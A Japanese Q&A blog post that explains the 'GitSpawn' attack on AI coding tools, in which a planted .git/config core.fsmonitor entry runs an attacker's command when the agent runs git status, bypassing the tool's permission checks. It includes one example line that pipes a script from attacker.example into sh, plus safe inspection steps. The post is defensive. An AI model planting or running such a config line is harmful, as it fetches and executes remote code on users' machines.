先月、研修を受けた会社の担当者さんから相談がありました。「前の外注先から、作りかけのアプリをzipでもらいました。Claude Codeに読ませて続きを作ってもらっていいですか」。
筆者は少し待ってもらいました。理由は、9月に報告された「GitSpawn」という手口です。そのときのやりとりをもとに、Q&Aで整理します。
Q.GitSpawnとは何ですか
セキュリティ企業のManifold Securityが2026年9月に報告した、AIのコーディング道具を狙う手口の総称です。報告では、Claude Code、Codex、Cursor(AI入りのプログラム編集ソフト)など7つの道具で、合わせて8件の問題が挙げられました。
一言でいうと、プロジェクトに仕込まれたGit(ファイルの変更履歴を記録する道具)の設定で、AIが普段どおりの確認をしただけで攻撃者の命令が動く、というものです。
Q.なぜ「git status」だけで命令が動くのですか
Gitを使っているプロジェクトには、.git というフォルダがあります。Gitが履歴や設定をしまっておく場所で、名前が点で始まるのでFinderでは普段見えません(Command+Shift+ピリオドで表示できます)。その中に、プロジェクトごとの設定ファイル .git/config があります。この中に core.fsmonitor という項目があり、本来は「変更の検知を速くするための補助プログラム」を指定する場所です。Gitは、git status や git diff(どのファイルが変わったかを一覧にするコマンド)で変更の一覧を作り直すときに、ここに書かれたプログラムを実行します。
ここに補助プログラムの代わりに攻撃者の命令を書いておくと、どうなるか。AIが「まず変更状況を確認しますね」と git status を打った瞬間に、その命令が動きます。報告では、AIの道具が起動直後に裏で打つGitのコマンドで動いた例や、フォルダを開いて信頼の確認が出る前に動いた例も挙げられています。AIに何か頼む前から危ない、ということです。
# .git/config に仕込まれた例(実際には動かさないでください)
# ネット上の命令を取ってきて、そのまま実行する、という意味
[core]
fsmonitor = "curl -s https://attacker.example/x.sh | sh"
厄介なのは、AIから見ると読むだけの安全なコマンドを打っただけだという点です。仕込まれた命令はGitが直接動かすので、AIの道具が持っている確認の仕組み(実行してよいか聞いてくる権限の確認)の外で動いてしまいます。
Q.GitHubからクローンしたプロジェクトも危ないのですか
報告を読む限り、この経路は通りません。git clone(GitHub、つまりプログラムを保管・共有するサービスなどから、プロジェクトを丸ごと複製する操作)では、.git/config は相手から受け取らず、手元で新しく作られるからです。
危ないのは、.git フォルダごと渡されるケースです。zipにまとめたプロジェクト、共有フォルダ、USBメモリでの受け渡し。冒頭の相談は、まさにこの形でした。
Q.Claude Codeはもう直っているのですか
報告時点では、道具ごとに対応状況が分かれていました。修正済みのものもあれば、一部の経路が未修正のまま残っていたとする報道もあります。Claude Codeについても、特定の機能の経路が再検証の時点で残っていたと書いた解説がありました。報道では、Claude Codeの主な経路は2.1.196で直ったとされています。まずはClaude Codeを最新版に上げておくのが確実です。
なお、zipを展開しただけでは、この仕掛けは動きません。動くのはGitが動いたときです。ただ、Gitに対応したエディタで開くと、エディタが裏でGitを動かすことがあるので、開く前の確認が要ります。実際の攻撃に使われたという報告は、今のところありません。
Q.zipを開く前に何を見ればいいですか
冒頭の担当者さんとは、画面を共有しながら次の順で確かめました。
# 1. .gitフォルダが入っているか(AIを起動する前に)
ls -la 受け取ったフォルダ
# 2. 設定ファイルを「表示するだけ」の道具で見る
cat 受け取ったフォルダ/.git/config
# 3. 自動で動く仕掛けが置かれていないか
ls 受け取ったフォルダ/.git/hooks
「受け取ったフォルダ」の部分は、ターミナルにフォルダをドラッグすると場所が入ります。
2で見るのは、fsmonitor、hooksPath、sshCommand といった、プログラムを指定する項目です。cat はファイルを表示するだけなので、この段階では何も動きません。逆に、確認のつもりでそのフォルダの中で git status を打つと、それ自体が引き金になります。
3の hooks は、コミット(変更の記録)などのタイミングで自動で動くプログラムの置き場です。名前が .sample で終わるものはGitに最初から入っている見本です。それ以外のファイルがあれば中身を確かめます。
相談の件では、設定ファイルは問題なし。ただ、hooks に外注先が使っていたらしい自動処理が1つ残っていて、何をするものか誰にも説明できませんでした。結局その外注先のGitHubからクローンし直してもらうことで落ち着いています。
Q.いちばん手堅いやり方は何ですか
元のリポジトリ(GitHubなどにあるプロジェクトの保管場所)があるなら、zipではなくそこからクローンし直すことです。.git/config は手元で新しく作られます。
元がない場合は、受け取ったフォルダの .git を消してから、自分で git init(履歴の記録を一から始め直す命令)し直す方法があります。変更の履歴は失いますが、仕込まれた設定ごと消えます。履歴が必要なら、消す前に別の場所へ退避してください。
そのうえで、AIを起動するのは、自分で作った作業用フォルダにしてください。ダウンロードフォルダで起動しない理由は、別の記事で詳しく書きました。
GitをClaude Codeと一緒に使う基本は、こちらにまとめています。
Q.結局、何を覚えておけばいいですか
GitSpawnが示したのは、「読むだけ」に見える操作でも、受け取ったプロジェクトの設定しだいで何かが動く、ということです。AIの確認の仕組みは、AIが打ったコマンドを見ています。そのコマンドの先でGitが何をするかまでは見ていません。
人から受け取ったプロジェクトは、AIに渡す前に、.git があるかを見る。あれば cat で中身を見るか、クローンし直す。GitSpawnへの備えは、この2つの手順で大半が済みます。





